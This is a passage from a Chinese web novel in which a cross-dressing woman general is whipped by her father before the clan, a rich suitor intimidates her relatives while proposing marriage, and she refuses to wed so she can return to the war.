很快,云府四处响起关门上锁的声音,在夜空下显得格外阴仄。
层层大门紧闭,一道道黑岩石的墙壁泛着幽暗的冷火,似乎要困住什么,生吞活剥了什么。
云中君的声音回荡在变得空旷的府邸:
“不许给她吃喝!不许她出祠堂!
“我不信打不死这个孽障!”
“朝廷命官?大不了老子一命换一命!”
云琛用力捂住耳朵,可门外的每一句话还是清晰地钻进她的耳朵。
还好,还好。
她已不是儿时毫无反抗之力的孩童了,只要她想,她可以立刻拆了这祠堂,踹门出去,谁也别想拦住她。
心里这样想着,身子却如灌了铅,动不了分毫。
烛火昏暗笼罩着的,仿佛还是那个童年的她。
就这么迷迷糊糊睡着,不知过了多久,再次醒来时已是天光大亮。
云琛睁开眼,一个小小的身影蹲在她面前,正好奇地歪头打量她。
“姑姑,我叫莲城,今年四岁了。”小人儿软糯糯地说道。
云琛费力地爬起身,云莲城的小脑袋也跟着由歪转正。
云莲城从怀里掏出一块糕点,递给云琛,“喏,我最爱吃的牛奶糯米糕,给姑姑吃。”
云琛接过糕点,顺势摸摸云莲城的头,看那长相便知是云望的孩子,确实该喊她姑姑的。
云琛挪到供桌的桌腿前靠坐,两条胳膊搭在膝盖上,缓了好一会儿才感觉不那么眩晕,开始咬糯米糕。
云莲城学着她的样子坐下,奶声奶气地问:
“姑姑,你是女子吗?还是男子?那我应当喊你姑父?”
云琛被逗笑了:“我就算是男子,也该是你大爷,不是姑父。”
云莲城捂嘴偷笑:“你说了‘就算是’,说明你是女子,你就是我姑姑。”
真是个小机灵鬼,云琛爱怜地捏捏云莲城的小脸,“府中不是**了吗?你怎么跑来的?”
云莲城骄傲地拍拍小胸脯,“钻狗洞来的!”
云琛竖起大拇指,“厉害。小心回去挨揍呦。”
云莲城笑嘻嘻道:“我爹只会读书,不会**,最多就是罚我不许去骑马,嘿嘿。”
“呦呵?”云琛来了几分兴趣,“你已经骑马了?我也是四岁骑马的,和你一样。”
“那姑姑敢骑大金马吗?”
“你说‘**红’?”
“嗯!”
这次换云琛颇为骄傲了:
“我驯过六匹!话说那时候呀……”
云莲城两眼冒星星,认真听着云琛讲述她从前驯马的故事,顿生一肚子崇拜之心。
“姑姑,你放心,如果你在这里关一辈子,我就一辈子骑马来给你送糯米糕!”
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在即将结束对话的时候,云莲城这么信誓旦旦地对云琛保证。
“我可太谢谢你了!”云琛笑着弹了下云莲城的小脑袋,将靴子里常年随身的**抽出来,解下**套上面的小小红穗子,递给云莲城。
“把这个栓到你的马鞭子上去,马儿见了会怕你的。”
云莲城捧着那散发着淡淡腥气的红穗子,如获至宝一般,惊奇发问:
“真的?”
云琛单眨下眼睛,揉揉云莲城的小脑袋:
“真的。你别怕马,马就怕你。去吧。”
云莲城小心翼翼地将红穗子塞进衣襟,还不忘将衣领抹平,然后朝云琛摆摆手,一溜烟跑向狗洞。
云琛从后叫道:“下次给我带点喝的,带点糖水来!”
“好嘞!”云莲城答应得响亮,头也不回地跑掉。
别看小家伙年纪小,但信誉超有的。
第二天一大早,云莲城果然带着糖水出现了。
他像只虎头虎脑的小兽,费力地从狗洞钻出来,探出小脑袋,先动作小心地将装糖水的罐子从怀里拿出,放在地上。
然后取下脖子上挂着的一圈香肠。
从手腕上解下绳系的糕点。
又从屁股后面抽出两大卷绢丝软布。
最后从嘴里吐出一个袖珍小瓶子,里面装着云家特制的内伤秘药。
云琛愣愣地瞧着云莲城卸完满身货,麻利地从地上爬起,拍拍小手,咧嘴笑道:
“姑姑,我来啦!”
云琛拨拉地上的东西查看,有吃有喝,还有包扎药物,显然不是云莲城这小孩子可以想到的,便问他:
“这些东西谁给你的?”
云莲城“嘿嘿”笑道:
“我爹!”
云望?云琛有点意外,又问:
“你爹知道你钻狗洞进祠堂,不生气?”
云莲城摆弄着手里的红穗子,那上面原本有点松散的地方,已被重新紧密缠绕了一遍,还打了个漂亮的护身符结。
小人儿头也不抬地回答:
“不生气呀,爹可高兴了,爹和娘说,从今往后,我就不再是没有大姑姑的野侄子了,叫我好好拿着东西去,一个都不准弄丢!”
“……”
云琛一时无言以对,心中涌起些复杂情绪。
第223章 提亲
关了云琛整整一天一夜,打得浑身没有一块好皮肉,可云中君的怒火似乎还无法消散。
中堂里召集起族会,所有宗亲们尽数出席,和昨夜的阵仗一样大。
宗亲们又是对着云琛一通指责和大骂;白氏又是一顿哭得梨花带雨,不停劝云中君息怒。
云中君则又拿起马鞭子,狠狠抽打向云琛。
看着马鞭子扬过来的一瞬间,云琛差点以为时空倒流,自己又回到昨夜了。
直到马鞭子落在身上,新伤叠旧伤,鲜血汹涌地冒出来,身上的剧痛才告诉云琛,这又是一场新的惩罚。
再一次被打得昏死过去,再一次被扔进祠堂。
多亏云莲城一次次拿来吃喝,甚至一次比一次多,多到他小小的身子都背不动,否则只怕云琛熬不过几天。
整整七日,每日都是一模一样的流程,没什么新意,也没有一点想要放过她的意思。
到最后,宗亲们骂得口干舌燥,再加上按家法族规行戒属于严肃场合,成日不供应吃喝,众人终于累瘫,觉得撒够气了,摆摆手,不再说话。
白氏哭得嗓子干哑,几乎连话都说不出来。
云琛则是浑身血肉模糊到惨不忍睹,奄奄一息躺在地上,从始至终连一声呼痛都没有。
她甚至连一滴眼泪都没掉。
她缓缓又艰难地在地上翻身,胳膊肘着地,一点点颤抖着支起身子,吐出一口血。
刚爬到一半,她手上一软,整个人重重砸在地上,脸颊着地,鼻子撞出了血。
她的脸因为趴在地上而有些变形,连日来的鞭刑之苦,更是让她发起高热,意识开始混乱模糊。
终于,没有人再好意思对着她这幅惨样追究些什么。
毕竟云氏有史以来,还没有对谁动用过这么重的刑法。
新账旧账勉强算清,况且就是不清又能怎样?难道还真将云琛活活打死?
只怕传出去又是一桩有辱家门的风波。
而且等云中君缓过神来,必要将丧女之仇算在他们这些宗亲头上,到时候可没好日子过了。
一番细细掂量后,宗亲们赶忙换了副亲和笑脸,纷纷上去劝云中君,开始说什么“云琛那时还小不懂事”“哎呀朝廷命官打不得”。
仿佛一连七天对着云琛破口大骂、一直怂恿着云中君动手的不是他们。
变脸之快,令人咋舌。
云中君黑着脸,扔下血淋淋的马鞭子,气喘吁吁地走回高座坐定。
喝两口茶,顺两口气,云中君目光扫视全场,指着地中央血人一般、几乎没有生气的云琛,开口道:
“诸位宗亲,我家出了这无法无天的孽障,是我云中君管教无方。如今新账旧账已通通一次算清。你们骂也骂了,我打也打了。这事就彻底翻篇了,今后再勿提起。哪位要还是揪着不放,总给我云中君下脸,我便不会客气。”
这话一出,宗亲们面面相觑。
云琛的大伯和三叔更是对视一眼,后悔刚才是不是劝人别打孩子劝早了。
但已经到这个份上,众人也只得应声,不好再说什么。
云中君点点头,捋了下胡子,接着说:
“诸位放心,今后我定然对这孽障严加管教,她再犯错,我必家法处置。犯一次,我便打一次,算是交代。”
众人一听都愣了:啥情况?这怎么听着跟纵容似的?只要云琛抗打,就由得她胡来?
云琛的大伯坐不住了,表情跟吃了苍蝇一样,“中君,你这意思,你这意思是……”
嘟囔了半天,云琛大伯不知道该怎么措辞。
云中君挥手示意他闭嘴,而后偏头问向一旁的张久之。
在得到“已经到门口了”的回复后,云中君点点头,对众人朗声道:
“趁着今日诸位宗亲都在,有贵客临门,请诸位一同见见。”
话音落下,随着大门层层打开,一抹正红出现在前厅方向。
原本满身是血、趴在地上已几近昏厥的云琛,莫名被那抹红色勾起最后一点意识。
不知是幻觉还是现实,她望见流水一样的红色涌进云府。
那铺天盖地的红,正中央是耀眼夺目的星。
霍乾念身披天高日暖,正大步如飞,朝她急急奔来。
他的神情震惊又心痛,疼惜的双眼都发红带恨。
云琛终于两眼一黑,彻底晕**过去。
……
……
云琛昏迷了整整三日,浑身裹满草药布巾。
虽然没有伤到骨头内脏,但满身没有好皮,看起来还是触目惊心,十分吓人。
昏迷的时候,云琛能感觉到有人给她喂水、擦脸,还有个声音如哭丧一般,一直围着她哭哭唧唧。
不是白氏,好像是儿时照顾她的贾妈妈的声音。
云琛睁开眼,环顾四周,是她儿时的寝屋。
见她苏醒,贾妈妈激动地冲上来,小心翼翼地扶她起身,想要说话,张口却是眼泪先落下来:
“大小姐,您这是吃了多少苦,受了多少罪啊……”
贾妈妈是云琛儿时的照顾妈子。
除了沈悠宁,便是贾妈妈与云琛在一起的时间最多。
尤其是在云琛父母失和之后,成日争吵的那
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两年,都是贾妈妈在陪伴云琛,饮食起居无微不至,待云琛如亲生。
这些日子,贾妈妈天天为云琛上药擦洗,必然瞧见了云琛一身刀砍火烧的新伤旧伤,怎能不心疼:
“好端端一个大家闺秀走出去,如今回来,怎么成了这模样......实在太心狠了......太心狠了!”
不知道贾妈妈说的“心狠”,是指云中君,还是指这世道。
云琛扶住贾妈妈的肩膀,想到自己人已经在云府,无需再处处小心作男子作派,便轻轻拥住贾妈妈,将头靠在她肩膀上。
看着贾妈妈一脸泪水,头发花白,云琛心里发酸。
“贾妈妈,我想你。”
只短短几个字,贾妈妈再也忍不住,彻底大声哭起来:
“夫人啊夫人!您睁开眼瞧一瞧!一个没娘的孩子多可怜!要在这世上吃多少苦啊!您不该那么早走啊......”
云琛与贾妈妈抱头哭起来,直到泪水打湿云琛身上的草药布巾,蛰得她伤口生疼,贾妈妈才慌忙止住哭泣,脸上泪水还未擦干,又一展笑颜,道:
“但是,再不好过,今后也都好过啦!我瞧着姑爷是个疼人的,虽然内宅不让外男进,但这几天,姑爷天天七八次地差人来问大小姐的情况。
而且那定亲礼足足一千八百八十八抬!全是油光锃亮的六合大漆箱,还有红绸铺了十几里路!那气派!那泼天的富贵!人家定亲用聘雁,姑爷直接送的两只凤冠绿孔雀!还有......”
“停停停!”云琛截住贾妈妈的话头,惊得语无伦次:
“什么‘姑爷’?什么定亲礼?孔雀来干啥?找谁?不是……我是说给谁?”
贾妈妈捂嘴直乐,“那日中堂惩戒,最后就是‘姑爷’冲进来救了大小姐呀!姑爷特来提亲,一进门却见到大小姐受罚成那样,气得当场发火!带着几百个兵就要掀翻屋顶!把宗亲们都吓惨了!再也不敢提大小姐女扮男装的事啦!”
云琛头脑发懵。
看来自己那日晕死过去之前看到的霍乾念,竟然不是幻觉?
还想再确认一遍,云琛问:
“贾妈妈,你说的‘姑爷’是不是叫霍乾念?霍乾念来提亲了?”
贾妈妈道:“是呀,姑爷姓霍,没错呀!”
云琛不敢相信,追问:
“‘姑爷’长什么样?是不是生得高阔腿长,剑眉凤眸,笑起来眼睛里有月亮似的?”
贾妈妈捂着嘴,笑得脸都红了:
“没见过姑爷笑,不过确实人中龙凤般英俊,可配大小姐的!”
第224章 霍家的“阴谋诡计”
云氏宗亲们“欣赏”完对云琛的七日惩罚,紧接着,便轮到霍家来“欣赏”他们了。
威名赫赫的前狮威军大将军霍雷霆,携独子——现任狮威远征镇南将军霍乾念,率一众亲兵护卫:
以凤冠绿孔雀为聘,千抬价值连城的百里红妆亲礼,以及霍乾念的生辰八字,浩浩荡荡驾到云府,说是要求娶云府嫡长女。
年过七旬的霍老太爷百里迢迢亲自登门,怀里揣着霍家祠堂祖庙纳吉的红帖,笑眯眯地迈进云府中堂,一眼就看见他那未过门的儿媳妇被打得浑身是血不成人样,趴在地上昏迷不醒。
霍老太爷的笑容僵硬在脸上,脸色像一坨沙漠里暴晒了三个月的黑屎。
那小霍将军则飞奔去抱起云琛,快速将她从头到脚打量遍,又是疼惜又是愤怒,只差用目光在一众宗亲身上剜几个血洞。
一瞬间,众宗亲只觉得心口呼呼灌风,像是被什么厉害的东西扎了个透心凉。
在小霍将军红着眼眶恋恋不舍的注视下,几个丫鬟和妈子将云琛抬下去诊治。
一个叫叶峮的护卫喊道:
“我们带了两箱子疗伤除疤的雪容龙骨消融膏,请府医给我们未来的将军夫人侯爵娘子霍帮少主夫人兼现任玄威少将用上啊!”
会说话就多说点!最好名头再说长一些!说完云琛的伤口都愈合了!众云氏宗亲心中暗骂,却是敢怒不敢言。
云中君的女儿云琛就算了,说到底是云家人,自然由得云家管。
且楠国礼教森严,云氏是大家族,宗亲与会管教个犯错的丫头也属正常。
但霍雷霆的儿媳妇,霍乾念的未婚妻。这两个名头就有点不得了。
前朝功将,楠国首富,当红将军,新贵侯爷。
随便一个名头拉出来都吓**,财权皆倾楠国,谁敢放肆?
如若不是云琛,这些个宗亲只怕一辈子都没机会见到这么牛逼的俩人物。
于是,云氏的宗亲们接下来只能乖乖坐在一旁,被迫欣赏起霍氏父子“毫无表演痕迹”的精彩演出。
霍雷霆一上来就激动地攥住云中君的手,哽咽道:
“云司马!好战友!好兄弟!我是雷霆啊!当年我在玄甲军!你在北里十八军!咱俩——”
“咱俩从来没见过。”云中君耿直发言。
堂内众人皆是一尬。
霍雷霆倒不觉得难堪,仍旧继续“深情”道:
“虽未见过!却胜似见过!若没有云兄司管的战马!我们如何驱逐敌寇!如何打得了胜仗!如何有命享受这泼天富贵!恩人呐!”
这话给云中君整不会了,他嘴角微微抽搐,艰难道:
“说得很好……以后不要再说了……”
随后,云中君与霍雷霆手拉着手落座。
霍乾念则长腿一迈,跨步上前,“噗通”一声跪在云中君面前,朗声就是一个“岳父大人,请受小婿一拜!”
云中君差点从凳子上蹦起来,硬是被霍雷霆摁着才没有蹦动,但说话的时候,不自觉有点咬后槽牙:
“这会有点叫早了吧?”
霍雷霆赶忙道:“云兄,不要在意这些细节。趁诸位宗亲都在,我们先谈正事吧——我霍氏诚心求娶云氏嫡女云琛,俩孩子的生辰八字都算过了,合得很!生十个八个没问题!”
众宗亲顿时皱眉,觉得这话简直不堪入耳,堂堂名门霍氏,怎么讲话这般无礼粗俗?
云中君捋着胡须,沉声道:
“霍兄,今日你也见到了,我那不成器的女儿犯了家法,若我就这么应下婚事,而不告诉你今日缘由,是骗你,我云中君不是这种人。”
霍雷霆瞪大眼睛,一脸惊奇:
“我那宝贝儿媳犯了什么家法?”
云中君尴尬地咳嗽两声,“小女十二岁时大闹她母亲灵堂,盗取灵体,而后任性离家出走,十一年来从未归家,目无尊长,不侍尊亲,不知悔改。”
霍雷霆“哦”了一声,作恍然大悟状,说出了一句惊掉众宗亲下巴的话:
“没事,小问题。”
云中君又道:“霍兄,你进门时瞧见了,我已拿家法狠狠惩治过小女。她今后定然不会再犯。”
“甚好!云氏不愧端正家风!”霍雷霆竖起大拇指
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。
云琛的大伯差点就要骂脏话了,心说好你个云中君,好一出打孩子的苦肉戏!
什么叫“不会再犯”??云琛就算想犯也犯不成啊!还哪有灵堂和灵体供她闹了?干脆现杀一个??
完全不理会宗亲们猪肝色的脸,云中君十分诚恳道:
“此外还有一事,小女顽皮,离家之后,定是为方便行路,自保清白,而不得已女扮男装,霍兄你看,这事……”
霍雷霆立马接过去:
“不妨事,就说咱们两家早就定了娃娃亲,云琛离家是去我霍府了,由我霍府看顾了几年。至于女扮男装,哈哈,孩子还小,不懂事,都是闹着玩的。再说从前的皇后娘娘不也爱男装嘛!”
云中君一拍大腿,“甚好!”
这时,云琛的大伯实在忍不住了,小声开口:
“中君,你三思啊!这、这、这怎能如此儿戏?这事根本不经查啊!但凡有心人要坏霍云两家名声,只需查查云琛当年离家的事,就知道那时候霍家根本没来过幽州啊!”
霍雷霆面色一喜,笑得像只呲着獠牙的狐狸:
“巧了!十一年前,犬子还真来过幽州!因我从前杀了东炎一个王爷,我儿便被那王爷亲信雇佣血卫围杀,犬子当时九死一生,落得双腿残疾——哎对了!不如就说那时候云琛路见不平拔刀相助!恰好救了我儿性命!救了自己定过娃娃亲的未来夫君!这情节如何?”
云琛大伯目瞪口呆,心说这么猖狂的吗?现编啊?现串供啊?还有没有王法了?!
云中君连连点头,“如此便都妥当了。”
“妥当什么呀?”云琛那三叔气得跳脚,“这凭空捏造出来的事,怎么堵众人悠悠之口?当年云琛大闹灵堂,可是整个广原城的人都知道!还云琛拔刀相助?她那时候才十二岁!”
霍雷霆似乎觉得此话有理,愁得眉头紧锁,问向旁边一直规矩不插话的霍乾念:
“乾念,你瞧这事该怎么办?”
霍乾念没有说话,只鼻子里冷哼一声,凤眸微狭,四周立马响起“哗啦啦”一片抽刀声。
第225章 土匪做派
随着霍乾念一声冷笑,叶峮和一众亲兵全都把兵器亮了出来,虎视眈眈地看向众宗亲。
都是刀尖舔血**如麻的家伙,浑身散发着杀气,没有一个像是开玩笑。
云琛的大伯和三叔被吓得一屁股跌坐回椅子,不敢再说一个字。
霍乾念眼神如刀,逐一扫视过众宗亲的脸,众人无一敢与之对视。
云氏百人,只有云中君是上过战场,白手起家创下一番家业的真豪杰。
眼前这些,不过是靠宗亲血缘攀附云中君,满嘴喊着规矩礼节、吸血太久而忘了自己身份的乌合之众。
霍乾念负手而立,面色森冷:
“老百姓们都顾着自家日子,不会人人都记得十一年前别人家的事。只要各位不乱说,就自然不会有人想起那些陈年旧事。还请各位体谅小婿求娶挚爱的一片诚心,千万管好嘴——小婿先在这里祝各位长命百岁了。”
明明是彬彬有礼的字眼,可从霍乾念那架势、那嘴里说出来,像审问犯人一般,摆明是威胁。
众宗亲面面相觑,脸有怨色,却不敢发作。
觉得火候差不多了,云中君朝霍乾念招手,犹豫了一下,还是叫出了那两个字:
“贤……婿……”
听到云中君喊自己,霍乾念立马将锋利的眼神刀从众宗亲身上收回,立刻一副毕恭毕敬的模样,谨慎又妥帖地回道:
“小婿在。岳父大人有何吩咐,小婿洗耳恭听。”
霍乾念对待宗亲和云中君的态度,简直天壤之别。
在一众宗亲面前,霍乾念呲牙咧嘴,像一头待怒的雄师;但在云中君面前,则是浑身刺都捋顺了,乖巧得像一只猫儿,恭敬之中还带着一点不卑不亢的风度。
这态度反差令云中君十分受用,面色越来越缓和。
云中君问:“你求娶云琛,做妻还是……”
不等云中君说完,霍乾念再次撩袍跪下,正经颜色道:
“回岳父大人,我求得琛儿,便只要琛儿,只做唯一的妻子,此生来生都绝不纳妾!”
云中君颇为意外,他一直觉得,像霍家这样通**贵的大家族,为继承家业,必然是要三妻四妾,子嗣越多越好。
见云中君似乎不信,霍雷霆骄傲地拍拍胸口,“云兄不必惊讶,我家出情种,只娶妻,不纳妾——祖传的!”
云中君给了霍雷霆一个尴尬又不失礼貌的微笑,继续问霍乾念:
“云琛若嫁过去,可掌些许中馈之权?”
霍乾念答:“回岳父大人,不掌。府上事务繁琐,琛儿不喜,交由管家即可。但钱权必须掌,霍家三个钱庄最高令牌,可调令霍帮天下所有堂口人与物,使任意钱财不限额。令牌已爹一个,琛儿一个,小婿自己留一个。”
云中君满意地点点头。沉默片刻,他声音添了一丝异样,不自然却很严肃地问:
“你当真……心爱云琛?”
“当真!”
“少时情短。总有一日,郎情妾意都会随风散去,彼此会因太过熟悉而倦怠,到那时候,你怎么办?”
霍乾念俯身叩了个头,再抬起头时,已是眼眶微湿,一字一句道:
“琛儿与我,有情,有恩,有义。情在,便做恩爱夫妻,情若没了,还有恩义,便做兄弟,做战友,做挚友至亲。等倦怠过了,再做夫妻重新来过!”
中堂里,不知是谁小声说了一句:“答得漂亮!”
这话任谁听了不肉麻?不感动?
再加上霍乾念那张无比执着又肯定的俊脸,背后一大群亮着白刃的亲兵护卫,谁敢不信这真心?
云中君像是得到了所有满意的答案,终于长舒一口气,整个人慢慢放松下来。
宗亲们见状纷纷告辞,还不情不愿地提前祝贺云中君嫁女之喜,顺势对这俩动动手指就能干翻一整个幽州的霍氏父子吹捧一番,而后准备离去。
“慢着。”霍乾念又肃下面容,叫住所有人。
众宗亲忐忑驻足。
只听霍乾念道:“小婿感激诸位长辈成全,能为了保琛儿名节,这样守口如瓶高风亮节。为表感激,小婿特意准备了一些礼物,请各位叔叔伯伯笑纳。”
话音落下,一群亲兵捧着各式礼物上前。
有上好的翡翠如意,纯金的璧铜摇钱树,稀罕的九色琉璃马,甚至还有极其奢侈的粉宝石钗环、全套的祖母绿头面……
这些豪华物件一上来,立刻令全场两眼发光,就差吞口水了。
趁着叶峮向众宗亲挨个发放礼物的空档,
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霍乾念道:
“各位长辈,这些薄礼,实在不能尽小婿心意。这样,请长辈们将详细的府宅地址、人口数量、家中生意地点,全部详细地写下来。等小婿回京,再一一寄重礼上门,以示感激之情。”
说罢,亲兵们拿出事先准备好的笔墨纸砚,逐一摆在众宗亲面前。
众人光顾捧着昂贵罕见的礼物首饰相看,喜笑颜开聊起来,压根没反应过来霍乾念话里的意思,连连点头答应,将自家门牌地址、人口职业……全部落在了纸上。
云琛那三叔还算有点脑子,将怀里的九色琉璃马摸了十八遍,就差盘出包浆的时候,才不舍放下,讨好笑起,问道:
“霍女婿要这么详细的地址干嘛,别院地址和老家地址也要?”
“要呀!”站得最近的叶峮说话了:“所有地址都要,越详细越好,这样的话,有事我们霍帮才好找你们去——天涯海角都找得到!”
这话一出来,原本嬉笑吵嚷的场面瞬间安静下来,有人磕磕巴巴发问:
“有什么事……需要天涯海角……都要找我们?”
“什么事?”霍乾念故作思索状,拿过厚厚一摞、那详细写满宗亲们家宅人口信息的宣纸,笑道:
“比如,今日出了云府这数道大门,外头忽然有人知道琛儿女扮男装之事;比如除了各位长辈,还有别者听说这几日与琛儿受罚有关的流言;再比如,三天两头有人拿我家琛儿辱骂说事……”
顿了顿,霍乾念皮笑肉不笑道:
“若有这样的事发生,我霍帮肯定要上门向各位长辈讨要个说法,天海海角都不放过。”
霍乾念最后一句话说得很轻,甚至还带着几分笑意,可那股杀气却怎么都无法掩盖,摆明在说:
你们谁敢透露云琛女扮男装之事,谁敢在外头嚼一下关于云琛的舌根,我便上天入地也要将你们杀光砍尽!
一时间,全场鸦雀无声,咽口吐沫声都能听见。
瞧着众宗亲们战战兢兢却强作镇定的脸色,叶峮忍不住替霍乾念得意:
打十巴掌给颗枣,没人比咱玩得更溜!
众宗亲心里悄悄想的则是:
霍家真是一肚子阴谋诡计!黑帮土匪做派!委实……不要脸!
第226章 不嫁!
云府中堂内,所有宗亲离去后,只剩云中君和霍乾念父子“亲热”地坐着说话。
云中君说:“既已问名、纳吉,就请亲家请期吧,定个好日子。”
霍雷霆喜道:“我已问过庙堂,下个月初六就是好日子,如何?”
“这……好是好,就是时间太紧,有些匆忙,一干嫁妆还需要时间细细准备。”
“幽州这边有我们霍帮六个堂口在,可以将所有人都调拨来,但凭云府吩咐,应该来得及。”
“那倒不必。我云家不缺人,加我一个正够用。也好,尽早完婚,便能尽早安心。今日之后,宗亲们必不敢乱说什么,就算说,两个孩子完婚了,也威胁不到什么。”
“是这话,夜长梦多,迟则生变呐。”
“下月初六,风铃花还开着,是好时候。今后云琛便好好待在家里相夫教子,我云中君教女无方,以后就靠亲家与贤婿好好管束了。”
霍雷霆连连称是,霍乾念眉头微皱,刚想开口,却用余光瞟到一个清瘦的身影出现在中堂门口。
云琛走到门口的时候,正听见云中君说的那句“教女无方”。
她站在中堂高高的门槛外,一身透着血迹的草药布巾,一脸泫然欲泣却生生忍住的样子,满眼都写着委屈。
“我不嫁。”云琛说。
中堂内的三人齐齐看向云琛,只有霍乾念没有惊讶的表情。
他快步走过去搀扶云琛,却被她轻轻推开。
他只得收回手,却紧紧随她移动步子,不敢离她太远,生怕她会摔倒。
她走向那个挨了整整七日羞辱与鞭打的空地中央,直挺挺地跪在渗着血迹的青砖上,声音虚弱,语气却无比坚定:
“我是狮威军的少将军,我要回战场,我不能嫁人。”
云中君愣了一下,随即沉下脸,“回去好好养你的伤!这里是外院中堂!不是你随意来的地方!”
大家族规矩森严,若非宴庆,许多女子一辈子都没有机会走到那象征着男尊权力的中堂。
可女扮男装这么多年,云琛早已自由惯了,根本不在乎这些。
她再次坚决道:“我不嫁人。我要回战场。”
云中君顿时火气上头,一把打翻手边茶盏,呵道:
“你胡闹什么?!常年女扮男装混迹在外!置女儿家名节于不顾!如今能瞒一时已艰难!你还想继续在男人堆里混日子到什么时候??非要将自己搞得臭名远扬才作罢?!”
不知为何,挨了七天打,仿佛已知道云中君惩罚她的极限,云琛似乎不那么怕了。
她直视着云中君,“名节?从前我也很在乎名节,怕被人知道女扮男装,怕被人非议厌弃。可上了战场我才知,名节不能当军粮,不能杀敌人!我是狮威军的少将军,我要上战场带兵杀敌!没有临阵逃脱去成婚的道理!”
云中君震惊地张着嘴,好像完全不能理解自己女儿嘴里说出来的话。
他突然发现这个女儿太陌生了。除了长着一张云家人的脸,其他什么都是陌生的。
战场?将军?杀敌?
这是可以和他云中君的女儿联系起来的字眼吗?
顾忌着霍氏父子在场,云中君忍着没有发大火,只喝道:
“好!就算你不要名节!我云家也都跟着不要名节了!可你是女子!天下女子都是要成婚的!你还想永远不嫁人吗?!杀敌卫国是男人的事!轮不到你!”
听了这话,云琛悲苦而笑,“是啊,一家之主是男人,家族兴衰靠男人,杀敌卫国也靠男人!可黑鳞骑兵**我们楠国城池的时候分男女了吗?只杀男人不杀女人了?倘若国将不国!女子可以不受牵连安稳度日吗?”
说着,云琛再也控制不住,那些积压在她心头已久、成夜里折磨她的阴霾与痛苦,全部一股脑地爆发了出来。
她哭道:“敌人吃我们楠国人的时候……根本不分男女……不,他们甚至更愿意吃女人和孩子……爹!我亲眼看见了……我亲眼看见的!黑鳞骑兵还在固英城外面呢,你让我这个时候扔下固英城的百姓不管吗?!
从前我是护卫,护着主子是要紧事,
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如今我是将军!护着百姓是我肩上的责任啊!我既承担了救百姓于水火之责,护国土于太平之任,怎能为一己之私轻易放弃!!爹……求你了!别逼我……”
云中君整个人都震在原地。他听说过羊人将军和**的黑鳞骑兵,只当是战场残酷的谣言。
可那些非人与龌龊,云琛全都亲眼见到了……
云中君突然说不出话来了。
一旁的霍雷霆轻轻叹口气,“原以为,我们那一代人辛苦些,多打些仗,到了孩子们这一代,就能安稳些,现在看来,唉……”
看出云中君面色上的动容,霍乾念赶紧与云琛并排跪下,恳切道:
“岳父大人,琛儿说得没错。若国将不国,何以为家?我与琛儿一同在战场杀敌,眼下因缺少优良战马而与敌军僵持不下,战事随时危险变化,确实不是成婚的安定时候。”
感觉霍乾念越说越向云琛“不嫁人”的意思靠拢,霍雷霆赶忙假装咳嗽,不停给霍乾念递眼色:
“咳咳……仗要打,国要卫,婚也要成。天下没有太平的时候,总不能叫你们两个一直鸳鸯分离啊!”
霍乾念明白霍雷霆的意思,但他显然更在乎云琛的心意。
他从袖子底下握住云琛的手,深吸一口气,朗声道:
“请岳父大人和爹允许我们战后完婚。一则,我与琛儿在军中主战,战事吃紧,实在不能半途而废;二则,既然要成婚,必要向东宫告罪女儿身欺瞒之事。
现在说的话,无人可以代替琛儿的玄威少将之位,只叫东宫为难;可若是战后说,待大破敌军,论起军功,我们便不要封侯拜相,只求以功补过,换一个东宫无罪令!”
说罢,霍乾念与云琛并肩而跪,深深叩头,身上竟有着相同的坚毅决绝的气质。
看着这两个固执又热血的近乎傻气的孩子,云中君气得脸色涨红,颤抖着手指向云琛,半天才从牙缝里挤出几个字:
“你这孽障……”
良久的沉默后,中堂里回荡着霍雷霆无奈又苍老的叹息。
第227章 云琛失踪
从中堂出来,云琛不顾身上还伤着,直接翻身跨上屠狼驹,冲出了府门。
霍乾念这次是坐马车来的,没有骑马。
等他抓到云府一匹马并追出去的时候,四处已不见云琛的踪影。
云琛不是个莽撞的性子,可这次回到云府,她突然变得像孩子一样冲动任性。
作为旁观者,霍乾念看的分明,尤其在云琛看向云中君的时候,霍乾念清楚地从那眼神里读到委屈、失望、怨恨、不甘……交织成一份经年沉重的,令她无法言说的痛苦。
霍乾念在广原城里纵马跑了两圈,连云琛的影子都没有看见,只得命叶峮速去城内几个霍帮堂口调拨帮手。
在见到霍帮的人匆匆忙忙跑来跑去,忙着四处找云琛的时候,云中君一边气得直骂“不必理会!这个孽障自小就这德行!”一边对张久之道:
“拨府上二百人和霍帮同去——不,所有人都去!”
几百个人在城里城外找了整整一日,仍旧不见云琛的踪影。
云琛不是个会用伤害自己去惩罚他人的糊涂性子,霍乾念不担心她会想不开,只担心她身上鞭伤未愈。
虽说只是皮肉之苦,但仍有高热脓化的风险。
再加上她心有郁结,多年不化,此番挨打更加剧少时心头痛,只怕要难过很久都缓不过来。
想到这里,霍乾念心急如焚,直将座下的马抽得不停嘶鸣狂奔。
眼见天色越来越暗,霍乾念纵马狂奔,经过城外不远处一座道观时,一阵清郁香风迎面扑来。
繁盛烂漫的褪蓝色花海中,一个熟悉的身影正长身而立。
霍乾念急急勒马,停稳之后,他对山寂道:
“云琛不见了,哪里都找不到!”
山寂环着胳膊,嘴角微微下垂,眼神凌厉又带斥责,“满城都在找,这样大的动静,我早听说了!你怎么不看好她?!”
霍乾念面露愧疚之色,翻身下马,朝山寂抱拳行礼,道:
“大哥,是我不好,稍后任大哥打骂责罚,只是现在天快黑了,琛儿身上有伤,实在不能一个人在外过夜,你知道琛儿会在哪里吗?”
一声“大哥”,立马让山寂的脸色缓和许多。
山寂睨着霍乾念,问:“你全都知道了?”
霍乾念无意、也觉得没必要说谎。在知道云琛来自幽州云氏之后,以霍帮手段,查那些陈年往事实在太容易。
他不仅知道山寂就是云琛同母异父的亲哥哥,是云琛娘亲沈悠宁在嫁进云家之前,与一个姓胡的赌鬼所生。
甚至还推断出一些只有山寂本人知道的事情。
霍乾念道:“大哥别怪,事关琛儿,我总是希望知道得越详细越好。对了,广原城有一桩陈年旧案,十一年前,城西鱼巷里一家胡姓父子,父遭割首丧命,其子失踪。我此番前来广原城,已拿了一具尸首前来投案。”
山寂来了两分兴趣,挑眉问:“怎么冒充投案?”
霍乾念笑道:“在霍帮做一份护卫身册,伪造十一年来记档,然后随便编个**放火的理由,说是霍帮处置叛徒,在审问过
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程中牵扯出一桩陈年旧案,那叛徒在来霍帮之前,曾做过强盗,在幽州广原城杀害过一对父子。见有人来投案,这长年悬案得以终止,广原城太守很高兴的。”
山寂接问:“太守那么容易就相信?”
见霍乾念笑而不语,便知这事要做的天衣无缝,令人心服口服的话,不会像他口中说的那么轻巧。
